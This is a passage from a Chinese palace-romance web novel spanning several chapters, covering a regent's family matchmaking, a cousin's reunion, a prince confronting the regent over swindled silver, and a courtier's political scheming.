可楚衍晴还有事要和摄政王谈，“公主，您和我嫂子去吧，我想和王爷说几句话。” 朝栎很快会意。 如今皇后在促成二哥的婚事，而楚世子爷又逼着妹妹出嫁，两人要在一起肯定没那么容易。 自然需要多些时间商量对策。 “衍晴，我可是很希望你能做我嫂子的！” 朝栎调侃完带着魏敏娴去了大牢。 楚衍晴等人走后，这才表明自己留下来的目的。 “王爷，我想见见我表姐。” 周川行放下手里的奏章，沉眸扫向楚衍晴，默了半晌才冲门外太监开口：“去问问唐姑娘，楚家三小姐要见她，见不见？” 楚衍晴打算去外边等候。 却不想周川行竟然喊住了她。 “楚三小姐，等一下。” 楚衍晴恭恭敬敬站好。 周川行犹豫道：“你喜不喜欢我三弟？” 没想到一向冷漠凶残的摄政王竟然问她感情问题。 楚衍晴哪里知道怎么回答。 周川行抿了口茶，“直说无妨。” 楚衍晴没直接回他：“只能说我们两个有缘无分。” 周川行呵了一声：“真的吗？” 常年治军的男人，眼明心亮，楚衍晴知道自己瞒不过去。 “家兄已经帮臣女订下亲事，马上就要成亲了。” 周川行又是一声轻呵，“这点小事能难得到楚三小姐！” 说什么都不对，楚衍晴索性闭嘴不言。 周川行操心弟弟妹妹的亲事。 他自己要和喜欢的人长相厮守，自然也希望弟弟妹妹能有一门如意顺遂的亲事。 弟弟那个笨蛋，指望他自己抱得美人归是不可能了。 他这个做哥哥的，只能帮他一把。 “楚三小姐，川谨他喜欢你，但是他这个人从小担惊受怕的，对谁都信不起来，除了你们侯府的人。 当年武安侯救了我们兄弟妹几个，他见到楚家人就觉得安心。 但是指望他这个性子的人做出什么努力，只怕也难。 虽然他嘴上说着什么三妻四妾，等你做了王妃，除非是你主动给他纳妾，否则他也就是念叨念叨。 所以，楚三小姐如果喜欢，我希望你能t为了你们两个的未来做出努力。” 杀伐果断心狠手辣的摄政王化身宠弟狂魔。 楚衍晴一时间竟不知道怎么应对。 周川行为了弟弟，长篇大论这么长的话，可是他人生的巅峰了。 “楚三小姐，梁家的小公爷不是良配，不说他家暴羞辱妻子，就算他是个正常人，也不会只守着一个女人过日子。” 楚衍晴又何尝不知道。 “王爷，臣女多嘴问一句，皇后会允许端王娶我们楚家姑娘吗？” 周川行总算是看到了一点进展。 “这点你放心，只要你那边没问题，我自会为你们筹谋。” 楚衍晴沉思片刻，回道：“那我试着努力看看，还请王爷照拂。” 唐兮暖刚把画板找出来放好，听说表妹来了，扔下画笔便往外跑。 小倩追着她换衣服，“小姐，您慢点。” 唐兮暖有一段时间没见姑母和表妹，着实想念。 她跑了几步，还不忘吩咐白芷：“准备点好吃的，我要招待表妹。” 她亲自赶到小勤政殿把人拉到后宅。 此时楚衍晴刚好和周川行谈完亲事。 “表妹，你怎么来了？你知道我住在王府？” 楚衍晴拉着唐兮暖，把人仔仔细细打量好几遍。 人比原来胖些，脸上都有肉了，粉面桃花一般，气色比在侯府好多了。 看来王府养人，这话没错的。 “前段时间在八宝斋看见你和王爷在一起，只不过一直没机会过来，表姐，你过得怎么样，好不好？” 唐兮暖拉着她坐进亭子里，“好呀，二郎对我很好，他从来不阻止我出府，我想做什么就做什么，今天还去了彩月楼，刚回来不久呢。” 看得出来，表姐过得确实不错。 楚衍晴放心多了。 “对你好就行，表姐如果过得不顺心，可一定要和表妹说，表妹拼尽全身的本事也要把你带走。” “不用带我走，”唐兮暖想也不想的说道。 白芷已经带了十几名宫女将亭子布置好，各色水果点心摆满一桌子。 唐兮暖大方道：“表妹你喜欢吃什么尽管吃，这是白芷，”她把白芷拉到楚衍晴面前，“二郎给我安排的宫女，专门照顾我的，还有芍药，这会不是她的班，休息去了。” 小倩见到楚衍晴开心，忍不住说道：“三小姐，如今奴婢都有人伺候了，王爷对小姐特别好，什么事都依着小姐，小姐还交了好几个好朋友，如今都在朝里当官了。” 楚衍晴惊讶道：“是么，都做了什么官？” 提到这个，唐兮暖十分得意。 “孙卿兆做了四品呢，我给二郎举荐的。” 楚衍晴被惊到。 当初任命孙卿兆满朝文武都不同意，还是摄政王力排众议，坚持封了他正四品侍郎。 就连大哥都很不高兴，回去嘀咕好几次。 没想到人竟然是大哥嘴里的傻子，表姐推荐的。 “表姐，你好棒！” 第54章 唐兮暖喜欢被人夸奖,满脸都是骄傲得意的小表情。 “我以后还要帮二郎找寻很多很多的人才。” 楚衍晴仿佛不认识表姐一般，盯着她漂亮的眉眼。 如今的表姐再也不是那个被人关起来，什么都不能做的金丝雀。 她有了自己的生活,每天都很充实，都很开心。 原本漂亮的姑娘，多了一丝张扬明艳和底气。 这是她的能力价值得到认可换来的底气。 这才是她该有的生活。 大哥永远都不懂,一个女人真正需要的是什么。 他以为只要管吃管穿，再动动嘴皮子一辈子对她好，一个女人就可以过着依附他的一生。 有的人或许喜欢这种生活。 可唐家姑娘绝对不会。 流着一半唐家血脉的楚家姑娘也不会。 “表姐越来越优秀了，表妹都开始羡慕表姐了。” 唐兮暖如今进步神速，她已经会站在别人的角度思考问题。 “表妹，我走了之后，表哥有没有难为你？” 听到表姐关心，楚衍晴心口难免酸涩起来。 “一切还好，就是府里几个婢女小厮被训了一顿。” 当然不止口头教训，大哥把人打的皮开肉绽关进柴房,折磨好些日子。 不过这些事情，她没必要告诉表姐。 这都是大哥自己做的孽。 还有大哥逼着她嫁给梁世子,一个家暴成性五毒俱全的恶棍,她也没必要告诉表姐。 免得表姐自责内疚。 “我怎么说也是他亲妹妹，不过被他骂了几句,有娘呢，他不能把我怎么样。” 唐兮暖想姑母了,“表妹，有机会，我想看看姑母。” 毕竟是在侯府长大的姑娘。 侯夫人又只有这一个侄女。 不光唐兮暖想念侯夫人，侯夫人也想念侄女。 楚衍晴问道：“你回侯府吗？” 唐兮暖摇了摇头：“我不去侯府,如果姑母愿意，你把她请到八宝斋，我去那里见她。” “好，”楚衍晴毫不犹豫答应下，“等我问过母亲，给你消息。” 姐妹两个好久不见，有很多话要说。 楚衍晴又是借着帮魏敏娴出来的，自然能多逗留一会儿。 不过也不能待太久，如果魏敏娴先回去，大哥见不到她人肯定会有所怀疑。 算着时间差不多，楚衍晴便告辞离开了王府。 临走时，唐兮暖告诉她：“表妹，你有时间多来看我，二郎不会阻拦的。” 楚衍晴如今确定表姐的住所，方便的时候自然会经常过来。 “好，我有时间就来。” 楚衍晴回到侯府，把见过表姐的事悄悄告诉了侯夫人。 侯夫人想到摄政王杀伐果断，铁血心肠，忍不住担心，“王爷真能对暖暖好吗？” 楚衍晴也不好确定，“反正现在表姐过得很好，至于以后也只能走一步看一步，总不会比跟着大哥差就是了。” 侯夫人想亲眼看看侄女，“等你大哥上值的时候，你给暖暖消息，我去八宝斋等她。” “好，”楚衍晴回道。 担心完侄女，担心女儿。 侯夫人克制着哭意道：“你的婚事怎么办，你大哥已经收了聘礼。” 楚衍晴想到今天和摄政王的约定，她现在的处境，端王确实是一个不错的人选。 可她也不能把所有赌注都压在端王身上。 “娘，我有办法，你别担心。” 侯夫人最终没忍住落了泪。 “娘什么都帮不上你，自从你外公一家被抄斩，娘作为罪臣之女，什么话语权都没了，如果你爹还好着，你大哥也不敢太放肆，如今……你能靠的只有你自己了。” 楚衍晴明白，“梁家世子这些年没少作恶，我不信抓不到他把柄，只要找到证据在成亲前送到大理寺，我不信他还能娶亲。” 大理寺卿素来以刚正不阿为行为准则，自诩大周朝的包青天，到他手里的案子，上至皇亲国戚，下到黎民百姓，只要证据确凿，他就敢办。 当然，他有这个底气，都是皇上给的。 满朝文武，可以说他是最忠于皇上的，至今还没站队。 睿王和太师都想拉拢，不过都被他拒绝。 不少人吹毛求疵想找他麻烦，可惜都没抓到把柄。 楚衍晴敢把底气放到他身上，便是这个原因。 侯夫人关心则乱，“对对对，抓紧找到证据，实在不行，求端王帮帮忙，你爹对他有救命之恩，他总不能见死不救。” 楚衍晴及时回来，并没有逃过楚衍诺的质疑。 “三妹，我再给你最后一次机会，半个月内，把暖暖给我带回来，否则你就等着嫁进梁国公府吧，小公爷什么样的人，你可清楚！” 楚衍晴懒得搭理他：“你都不在乎逼着妹妹嫁给那种人，我怕什么。” “你——”楚衍诺险些被她气吐血，“你最好是真不怕。” …… 魏敏昭被关进暗无天日的大牢，三天里一丝光亮都没见到，除了送饭的声音，再无任何声音。 这种寂静下，听力被无限放大，他甚至能听到周身血液流动的声音。 可时间却过得异常缓慢，仿佛故意放慢了速度，让他在这种环境里变得极其暴躁、难受、痛苦。 比鞭子抽打在身上，还令人难以忍受。 他大声呼喊，想找人过来说说话，可是没人理他。 他抓着牢房大门，大声呼喊，想问问时间，根本听不到任何回应。 短短三天，哪里还有国公府公子的俊朗摸样，蓬头垢面，满身污秽，他比大街上的花子还要狼狈。 “周川行，你有种你打我一顿，你杀了我，周川行，你个混蛋……” 哪怕给他一盏灯烛，给他一本书，也好过如此折磨他。 这几t天，他就是靠着辱骂周川行坚持着。 熬到魏敏娴和朝栎出现，他浑身疲敝，奄奄一息地躺在牢房里，怀疑自己已经下了十八层地狱。 “大哥——” 牢房的黑布被撤下一块，终于有光亮透进来。 魏敏娴和朝栎出现在牢房里。 魏敏昭仿佛死过一次，他忽然抓住眼前的人。 “敏娴，敏娴，你终于来了。” 牢房光线昏暗，魏敏昭又在混沌之际，抓住的是朝栎。 以前就觉得妹妹漂亮，可今天的妹妹，恍如神妃仙子，天女下凡。 暗无天日忽然被撕开一道口子，目之所及，便是如此漂亮的姑娘，周身仿佛发着明亮却又不刺眼的光晕。 将他的眼前照亮，心口照亮，浑身的血液都好像苏醒一般，重新流畅起来。 朝栎有些嫌弃的挣脱，“魏公子，你……” 注意到他浑身狼狈，形似疯癫，又有些不忍，“还好吧？” 魏敏昭忽然认出朝栎，他使劲把人甩开，“是周川行那个混蛋让你来折磨我的是不是？” 朝栎是哥控，可忍不了有人骂她哥。 “看你还有力气，那就继续关着吧。” 她转身要走，魏敏娴急忙把人拦住，“公主殿下息怒，我五哥糊涂了，她不是针对您和王爷。” 随后她使劲掐了一下魏敏昭的胳膊，“你还没清醒吗？公主是来救你的，快点谢恩。” 此刻魏敏昭全身上下硬的只有嘴了。 可不想再受这种折磨。 他稍一迟钝，慌忙爬起来跪地求饶，“还求公主殿下救我，日后做牛做马必定报答公主。” 朝栎这才高兴些。 “行了，先回去清洗清洗，之后随我去王府谢恩。” 楚衍晴走后，唐兮暖画了一群锦鲤，在清澈的水池里自由自在的遨游。 水底的水草清晰可见。 生动形象仿佛真有一群锦鲤在游泳。 待墨迹干松，她装到盒子里拿到小勤政殿交给周川行。 “这个帮我送到北域。” 周川行打开看了一眼。 小姑娘画技惊人，他早前在侯府就领略过。 “哪天也给我画一幅。” 唐兮暖见他喜欢，开心极了。 “等你有时间。” 两人正聊着天，朝栎带魏敏昭兄妹来了。 唐兮暖不想见魏敏昭，觉得他是坏人。 可能一眼认出她是姑娘的，除了刘大使就是魏敏昭了。 “二郎，这个魏敏昭很聪明吗？” 周川行以前确实很看好魏敏昭，不过婚事被他戳破，总觉得他是个没脑子的。 “一般吧。” 唐兮暖瘪了瘪嘴，“不知道他是怎么认出我的，刘大使也是一眼认出我是女子。” 周川行自问没有这种能力。 “你不想见，回后宅也好。” 唐兮暖哼了一声，“他不让我舒服，我也不让他舒服。” 周川行喜欢唐兮暖这种有仇必报的性格。 命人把魏敏昭带大厅里。 路上，魏敏娴已经叮嘱过魏敏昭。 “五哥，你怎么这么糊涂，人家唐姑娘在哪和你什么关系。” 魏敏昭还挺有道理，“不是你让我帮妹夫找的吗。” 魏敏娴无语道：“我让你找你就真找，你觉得我有多大度，愿意让自己的男人和别的女人在一起。” 魏敏昭汗颜，“你也没直说。” 魏敏娴又道：“我知道你是为父亲鸣不平，可一朝天子一朝臣，没有任何大臣能够永享盛宠，父亲这个国公爵位将来是要给大哥的。 你只是一个庶子，想要出人头地就要自己拼搏，难不成，一个大好男儿，一辈子稀里糊涂的？ 再说，你被关进大牢，父亲连找摄政王说情都不肯，还是小娘跑到王府大门口跪着给你求情，你好好想想，你为他得罪摄政王，他真把你当成儿子了吗？” 魏敏昭经过这次事情，倒是逐渐转换了思考问题的角度。 原本他是坚决站父亲的，亲父子一荣俱荣一损俱损。 可他被关进大牢，只要父亲拉下脸面求求王爷，他当天就能出来。 可父亲根本不肯出面。 所以他这个儿子在父亲眼里，根本比不上他的脸面。 “敏娴，我知道了。” 唐兮暖再见到魏敏昭，才三四日光景，竟然仿佛换了一个人。 脸上没什么血色，眼里无光，也没有那日精神，低头耷拉仿佛被人拆掉了脊梁。 “二郎，你说的那个什么小黑屋，全用黑布遮住不见阳光，这么好用吗？” 周川行非常不屑地瞥了一眼魏敏昭，“这不就是现成案例。” 唐兮暖心里忽然有了计较。 表哥再敢纠缠她，就把他关小黑屋，至少要关一百九十三天。 朝栎走到周川行面前，复命，“二哥，我把人带出来了。” 怎么也是受楚衍晴所托，她乖乖巧巧的眨眼，“魏公子已经知道错了，二哥，你再给他一份差事，他保证做好。” 周川行转头看向小姑娘。 唐兮暖摆手，“二郎，你不要看我，我不知道怎么办的。” 自从回府，她便换回女装，此刻一身鹅黄色抹胸长裙，把她衬托的又娇又美。 朝栎刚才的注意力全在魏敏昭身上，这会倒是留意到了唐兮暖。 “你是楚家的表姑娘？” 唐兮暖不喜欢和楚家绑在一起。 “我姓唐。” 朝栎又问：“我二哥养的男宠？” 唐兮暖第一次听到这个说法：“男宠是什么意思？” 朝栎：“……” 魏敏娴也注意到了唐兮暖。 原来楚衍诺一直寻找的人竟然在摄政王府。 难怪他把京城翻过来都没找到。 唐兮暖抱着胳膊来到魏敏昭身边，绕着他打量。 “自以为力气大，欺负我一个手无寸铁的小姑娘，还想让我给你妹夫做妾，你脑子里是浆糊吗？” 魏敏昭感受到来自妹妹的冷刀子眼。 羞愧得低下头。 “还想让王爷给你差事，你能办得好吗？” 魏敏昭到现在也算是明白了，之前不稀罕的差事，只怕要眼前这个小姑娘俯允才能得到了。 他堂堂大好男儿，不能碌碌无为一辈子。 父亲是指望不上了，他只能自己争取。 “唐姑娘，都是在下糊涂，之前冒犯了姑娘，还请唐姑娘恕罪。” 唐兮暖不愿意和别人计较。 “也不是不能给你机会，但是比较麻烦，你能做到，我就求二郎给你安排个好差事。” 魏敏昭不得不低头，“姑娘请说。” 唐兮暖：“这两天睿王可能会找我麻烦，你得帮我解决。” 第55章 魏敏昭理解的睿王找唐兮暖麻烦,无非就是睿王见色起意，看中了她。 只要让睿王放弃就可以解决，倒也不是什么难办的事。 他先看了一眼朝栎,朝栎公主目光不善导致他有些心虚，随后才回唐兮暖。 “在下一定完成姑娘交给的任务。” 朝栎很不喜欢别人指挥她带过来的人。 注意到二哥冷着脸色，唐兮暖又提到睿王,便把要出口的话咽了回去。 唐兮暖提醒道：“别以为什么简单的事哦，你要想清楚。” 魏敏昭心有算计，一个未娶，一个未嫁，能有什么不简单。 只要是感情问题，他说什么也要让睿王改变心意。 说曹操曹操就到。 魏公公慌慌张张跑过来通报：“王爷，睿王呜呜泱泱带了好几百人找上门了。” 唐兮暖抱着胳膊，没有丝毫慌乱，娇俏的脸蛋上不知何时爬上一层小得意，她哼一声,道：“来得这么慢，还以为等不到了呢。” 她又问魏敏昭：“好几百人,你能赶走吗？” 魏敏昭确定摄政王喜欢唐兮暖,睿王也喜欢唐兮暖的话，就是兄弟两个争同一个女人。 可兄弟争妻,至于带好几百人大张旗鼓的上门？ 这可是摄政王府。 他理解错了，还是错过了什么？ 别看朝栎是皇上唯一的一母同胞的亲妹妹,备受宠爱。 可从小，至少在五岁之前，她活得还不如普通人。 还在襁褓时她就跟着两个哥哥颠沛流离，险些被人杀死。 那些年,生活里经历最多的便是和三哥两个自保，防暗器，防下毒，防被掳走…… 直到大哥坐稳皇帝，皇城附近的叛乱被平，京城里的反叛全被诛杀，她的好日子才慢慢到来。 可经常东躲西藏，每晚都不敢睡在同一个寝宫里的经历，导致她极度缺乏安全。 听说四哥带人上门，这是要兄弟阋墙，小时候那些恐慌可怕的记忆重新浮上脑海，她赶紧躲到二哥身后。 “二哥，四哥这是要做什么？” 周川行握了握她的手腕，“胡闹而已，别怕。” 小妹都吓成这样，他不由得看向始作俑者。 小姑娘眼里亮晶晶的，仿佛一只做好战斗t准备的小狮子，她倒是血脉亢奋，几百人找上门一点都不怕。 “不怕？” 唐兮暖才不怕，“有魏敏昭挡着呢，看看他的能耐。” 忽然想起自己此刻是女装打扮，担心被睿王认出来，将面纱挂到耳朵上，挡住她的脸。 周川行笑着点了点她的额头，“你倒是聪明，知道什么情况用什么人。” 此时端王从外边冲进来，一边从马上跳下来，一边骂，“四弟疯了，说是让你交出寒兮，否则他就跟你拼了。” 魏敏娴没见过这种大场面。 她爹是武将，当年皇上上位的时候，她年纪小，她爹又手握重兵，他们魏家是京城的柱石，所以，她没经历过朝栎经历过的那些事情。 听说睿王带了好几百人找上门，唐兮暖还要他哥出面，心里十分慌乱。 偏偏楚衍诺不在身边。 她只能去找朝栎公主，站在对方身边。 万一她哥遇到什么危险，希望朝栎能够出面保她哥。 “公主……” 朝栎比魏敏娴还恐慌，二哥一直守在唐兮暖身边，分不到她什么关爱，看见魏敏娴走过来，紧紧握住她的手。 “一会儿打起来，我们从后门跑。” 这是她和三哥从小相依为命得出的经验，不管什么时候，保命要紧。 魏敏娴故作平静的安慰她：“别怕，我五哥会想到办法。” 唐兮暖跃跃欲试，想出去查看情况，不过她到底是个手无缚鸡之力的小姑娘。 关键时刻，还要顾及自己的安全。 所以她躲在周川行后边，推着他往前走，“这里角度不好，往前点。” 周川行无奈瞥她一眼，心眼子都被他家姑娘长了。 随后吩咐魏公公：“把老四带进来。” 睿王自然不能把所有护卫都带进摄政王府，公然冲撞摄政王府，罪同谋犯。 他只带两个谋士进院，其余人等全都留在外边壮大声势。 “二哥，寒兮诓骗我五十万两银子，现在人和银子我都要，还请二哥主持公道。” 什么五十万两银子？ 魏敏昭吓了一跳。 楚衍诺不是说他表妹是个傻子吗，怎么傻子能骗睿王五十万两银子。 睿王莫不是个智障。 周川行给魏敏昭一个眼神，魏敏昭硬着头皮走上前，“睿王殿下。” 睿王瞥了一眼魏敏昭，他听说二哥前几天把人关进大牢，一丝光亮都不给。 竟然放出来了。 朝栎和魏敏娴都在，显然是魏敏娴求了朝栎。 不过二哥身后的黄衣女子是什么人？ 二哥年纪也不小了，有个女人也不足为奇。 此刻不是关心这事的时候，只问魏敏昭：“出来了？” 他觑着眼睛打量着魏敏昭，神情里充满轻视。 却听谋士提醒：“王爷，他可是魏国公的儿子。” 魏国公原来是手握兵权的大将军，这些年虽然不受重用，可到底是一只猛虎。 睿王一张脸像变戏法似的，很快换成咱俩是好兄弟比亲兄弟都亲的神色，恭喜魏敏昭：“敏昭出来了，身体怎么样？有没有哪里不适的，一会儿去我那，千年老参给你拿两支。” 魏敏昭受宠若惊，“敏昭谢睿王厚爱。” 他偏移几步，挡住周川行的视线，“不知道睿王殿下为什么想要寒兮，五十万两银子又是怎么回事？” 睿王怒视着周川行，他的人可是亲眼看见寒兮进了摄政王府。 还有十几车银子。 “二哥，还请你把寒兮和银子还我。” 周川行淡然道：“我不知道四弟在说什么，而且我这府里并没有寒兮。” 睿王：“还装，二哥，那么多银子，你吞得下吗，我可是你亲弟弟。” 周川行坚持不认，睿王也不可能搜查摄政王府。 最后的结果只能是睿王带人闹一顿，然后不甘心的离开。 睿王心里何尝不懂。 他盯着魏敏昭，此人和二哥有仇，倒是可以利用。 “今天在彩月楼，寒兮答应和本王演戏，没想到他言而无信，骗了本王五十万两银子，人还跑了……” 他避重就轻，只捡好听的说。 端王不可能让他含糊过去。 “四弟，你也好意思，找寒兮打假比赛，想让寒兮故意输给你舅舅姚岳海，然后你推举姚岳海做吏部尚书。 以为我们都不知道你的算计。 谁知道寒兮不按套路出牌，拿了银子，赢了比赛，你恼羞成怒了。 可你也不想想，你那舅舅怎么赢，他连字都不识几个，别说吏部尚书，就是吏部尚书家里的门子他都做不了。” “三哥，你……”睿王气个半死，偏偏三哥说的都是对的，“那他也不能骗我五十万两银子，现在我把银子讨回来总行吧。” 丢脸的事，也只能认了。 端王好笑道：“五十万两银子，你又不是不知道下落，尽管拿回去。” 五十万两银子，一部分进了两大钱庄，睿王就算能拿回来，也是两败俱伤。 如今正是争夺大位的时候，他肯定不会因为几十万两银子伤到根本。 还有一部分进了摄政王府。 否则他也不会带人过来。 “三哥，你故意跟我作对是不是？” 端王确实是故意的。 可他不会说出来。 “老四，这人总有吃亏上当的时候，得认。” 睿王认不了，目光落到魏敏昭身上，鼓动道：“二哥因为什么把你关起来？敏昭可是魏国公最疼爱的小儿子，我大周朝的栋梁之才。” 魏敏昭犹豫片刻，低声道：“王爷，在下有办法让您出气。” 睿王皱眉：“什么办法？” 魏敏昭：“还能让您得到寒兮。” 睿王犹豫了，寒兮是满京城公认大周朝最聪明的人，如果得到寒兮，可比把他那个废物舅舅推上尚书之位划算多了。 只不过寒兮真能为他所用？ “你说真的？” 魏敏昭走过去，低声耳语几句，睿王忽然大笑。 “还是敏昭聪明，你的建议，本王听进去了。” 魏敏昭又道：“今天您带人过来，闹不出什么，还伤了兄弟情义，传出去，都以为睿王不懂事，不如暂且带人退下，咱们从长计议。” 睿王大喜，“好，就听你的。” 不过临走前，他还不忘威胁周川行，“二哥，寒兮和五十万两银子，我不会这么罢休，咱们走着瞧。” 语毕，他带人离开了摄政王府。 可谓来也匆匆，去也匆匆。 魏敏昭走到唐兮暖面前，向她讨要承诺，“姑娘答应过的，我打发走睿王，帮我在王爷面前说话。” 唐兮暖不由得看向周川行。 周川行自然会给小姑娘面子，“去禁军报道吧。” 魏敏昭改变心意了，他目光落到朝栎脸上停留片刻，之后对周川行说：“王爷，我……心悦朝栎公主，如果能处理了睿王这个麻烦，能不能让做朝栎公主的驸马？” 魏敏昭这个直球打得太过突然，现场所有人都被惊到。 朝栎公主一下红了脸，有些不知道怎么面对魏敏昭。 魏敏娴生怕这个二愣子惹恼摄政王。 刚从大牢放出来，他怎么不长心呢。 “摄政王，我五哥他脑子还不清醒，您就当他说胡话吧。” 周川行不想委屈自己的妹妹，但也不想妹妹留下遗憾。 他转身看向朝栎，“你什么想法？” 朝栎犹豫片刻，对魏敏昭说道：“你跟我过来，我有话要说。” 魏敏昭老老实实跟着朝栎走到一处僻静的地方。 朝栎稍一犹豫，说道：“我不会嫁给废物，我找驸马的条件只有一个，那就是能助力我二哥的人，你做到了再说。” 魏敏昭明白了，“感谢公主指给的明路，我一定会努力。” 他极其羞愤又恼怒地看向摄政王，“什么破禁军，我不稀罕，你们王府的高门大院，我也高攀不起，后会有期。” 语毕，他大步流星离开了摄政王府。 留下朝栎一脑袋浆糊。 端王也是一脑袋浆糊。 其他人更不知道发生了什么。 魏敏娴快要担心死了，继续给摄政王赔罪，“我这个五哥从小惯坏了，什么都不懂，您别和他一般见识。” 周川行也有些不悦，“行了，魏夫人退下吧。” 魏敏娴又向朝栎道歉，之后惶恐不安地离开摄政王府。 从今天开始，不管是魏国公府还是侯府，注定不会安宁了。 唐兮暖不会察言观色，但她会分析一个人出现某种行为的原因，又会造成什么后果。 在大家都一头雾水的时候，她对周川行说：“魏敏昭是故意这样的，他想娶朝栎，又想奔前程，才会假装和睿王好，可他到底用了什么办法呢？” 很快，她又想到另外一种可能，“不过他也可能是为了报复二郎，从而假装要奔前程，求娶朝栎公主，那他t就是真心和睿王好了。 二郎，你说这两种可能，他是哪种？” 第56章 人心是最难揣测的东西。 端王无法判断,他看向朝栎。 一个男人对女人的态度，作为当事人应该有所察觉。 “朝栎，你觉得呢？他对你是不是真心？” 朝栎也判断不出来,“二哥，你怎么想？” 问题最终又回到周川行身上。 周川行一时间也摸不透魏敏昭的性子。 “观察一段时间看看，不管他心里向着谁,总会有结果。” 他转而问他自己的小姑娘：“你倾向哪种？” 唐兮暖认真分析，认真回答：“魏敏昭和他父亲关系不好吗？” 周川行不常在京，对此了解不多。 端王回道：“魏家三个嫡子，两个庶子，爵位肯定会给嫡子，而且魏敏昭他生母并不受宠，爵位是怎么都轮不到他的，如果他想出人头地，只能自己打拼，就像他被关大牢,只要魏国公肯出面，二哥多少都要给些面子。 可魏国公别说自己出面,连托人说情都不愿意。 但凡魏敏昭是个聪明的,他都不会再将自己的前途和国公府绑在一起。” 唐兮暖今天已经想了很多事情，还骗睿王五十万两银子。 今天的能量耗尽,这会什么都不想琢磨。 “二郎，我想不到呢,反正待之以诚总没错的，书上都这么说。” 周川行无奈道：“就你滑头，好了，去玩吧。” 唐兮暖蹦蹦跳跳带着小倩回了后宅。 朝栎心有疑问,“二哥，你什么时候和唐姑娘在一起的，楚世子都把就京城翻过来了，这样合适吗？” 周川行毫不犹豫道：“唐姑娘以后就是你二嫂，她和普通人不一样，多照顾她一些，二哥自会感激你。” 朝栎明白这个照顾的意思。 皇后是不可能同意二哥娶唐家姑娘的，在二哥的皇位没落定之前，这事必须妥善处理。 “二哥，你放心，我心里有数。” 有个心思简单的嫂子，总比娶个一肚子坏心眼的好相处。 朝栎这点轻重还是分得清的。 不过还是为二哥担心，“那太师家的王小姐怎么办？再者唐姑娘娘家……只怕帮不上你什么。” 周川行明白妹妹的顾虑，“谁说她帮不上我，孙卿兆就是她推荐的，还有姚麟，虽然不是她直接推荐，可如果没有她，我也不会关注彩月楼的比赛。 今天你四哥气成那样，谁的功劳？” 朝栎明白了，帮助二哥，并不一定要娘家多有势力，聪慧才能也是一项助力。 再者，二哥是摄政王，还可以纳两名侧妃，想要多少助力没有。 睿王虽然离开了摄政王府，可既不甘又气愤。 他来到和魏敏昭约定的地方等着。 大约一炷香后，两人相见。 “魏敏昭，你最好有办法让本王消气，否则二哥不会放过你，本王也不会放过你。” 魏敏昭眼里目光深沉，谦逊恭敬又隐隐含着几分怒意道：“摄政王欺人太甚，我早晚要他付出代价。” 睿王就喜欢他这副为报仇不择手段的劲，“我们目的是一样的，现在告诉我怎么做。” 魏敏昭问他：“睿王，您知道我为什么下狱吗？” 睿王听过一耳朵，“好像是因为他的男宠。” 魏敏昭咬牙切齿道：“寒兮就是他的男宠，我不过和他发生几句冲突，他就把我关进大牢折磨，要不是朝栎公主，我就疯在里边了。” 睿王十分同情魏敏昭，“我这个二哥，一向残暴不仁，真担心哪天大周神器落在他手里，这大周朝会变成什么样！” 魏敏昭继续咬牙切齿，“所以，大周朝绝对不能落在他手里。” 睿王心里一喜，“你有办法？” 魏敏昭自然想好了万全之策，“王爷，五十万两银子对您来说都是小事，人才才是大事，咱们想办法把寒兮拉拢过去，摄政王喜欢他，咱们这就等于釜底抽薪了。 再让寒兮的剑锋瞄准摄政王，试问他还有什么活路。” 睿王喜欢这个计策，“可具体怎么实行？” 魏敏昭把准备好的方法告诉睿王。 “王爷，太师打算把女儿嫁给王爷，想那太师的女儿嚣张跋扈，霸道成性，最主要的是没脑子，咱们只要利用好她，还愁大事不成。” 睿王还是糊涂，“怎么利用？” 魏敏昭：“先想办法促成婚事，王小姐肯定容不下摄政王养男宠，她自然会逼着寒兮离开，到时候寒兮能去哪里，还不是王爷您这里。” 睿王高兴了，“你这招秒啊。” 魏敏昭还有更秒的，“王爷，王小姐是个糊涂蛋，手下还有一个办法，就是有些阴损。” 睿王不怕阴损，“你说。” 魏敏昭：“只要您和王小姐达成协议，到时候让王小姐带着您的骨肉嫁进摄政王府，就算将来摄政王当了皇上，这太子还不是您儿子吗。” 睿王：“……” 魏敏昭他爹不是武将吗，怎么魏敏昭还会这种阴私卑鄙的计谋，不过他喜欢。 魏敏昭不知道睿王什么心思，慌忙跪地，“是属下糊涂了，竟然给王爷出这种馊主意，王爷就当没听到吧，属下告退。” 睿王嘴上自然是不会答应的。 可不妨碍他化成行动。 就让二哥帮他养儿子，未来大周江山归谁，他都不亏。 …… 唐兮暖这两天迷上了野外风光。 城里玩够了，想去郊外散散步。 骗了睿王五十万两银子，在府里老老实实待了三天，没听到动静，她打算带小倩、紫苏和连翘去城外。 这些年她一直困在侯府，彻底和外边的世界隔绝，她很想看看普通人的生活是什么样子。 小倩有些担心，“小姐，您刚得罪了睿王，还是老实几天吧。” 连翘喜欢热闹，再憋下去，她都要长毛了。 “怕什么，有我和姐姐在呢，睿王能把姑娘怎么着。” 小倩无语道：“就你鼓动小姐，出了事，你负责。” 连翘才不怕，“我负责就我负责，唐姑娘，您尽管出去，我和姐姐保护你。” 唐兮暖从善如流，换好男装，和三人同乘一辆马车，从王府出发，慢慢悠悠顺着东门来到了郊外。 一出京城，满目庄稼，绿油油一片一片的，映入眼帘极其清新。 再有几株红的、蓝的、黄的野花野草点缀其中，美得简直无法用言语形容。 “这就是农民种的庄稼？”唐兮暖心情大好，撩开帘子盯着远处的植物。 紫苏见识多，大周朝常种的庄稼她都知道。 “是啊，这一片是黍子，那一片是高粱，远处那一片是小麦。” 唐兮暖读书多，她虽然认不出植物，可这些植物她都在书上了解过。 “小麦就是咱们平时吃的白面。” 小倩不懂这些：“可这小麦看起来一个穗一个穗的，怎么做成白面？” 唐兮暖皮肤白，肌肤细腻到吹弹可破。 此刻小脸上洋溢着十分得意的笑，一点一点给小倩解释：“小麦成熟后要收割，麦穗里边是一粒一粒的麦子，把麦粒打下来之后再经过研磨，研磨出来的有精致的白面和粗糙的麦麸，有钱人家吃的就是白面，像王府和侯府，没钱的麦麸舍不得丢，都要吃下去呢。” 她转身问紫苏，“我说的对不对？” 紫苏一个干过农活的姑娘，都没唐兮暖观察入微。 “姑娘说的对，就是这么回事。” 小倩真心实意地夸道，“我们家姑娘可真棒，足不出户都知道这么多。” 唐兮暖高兴道：“我会读书呀，书里都说了。” 小倩有些懊恼，“可惜我不识字，否则我也跟小姐一起读书。” 唐兮暖毫不留情拆穿：“小时候让你写字，你说还不如洗衣服顺手。” 小倩能说什么，“奴婢就是干活的命。” 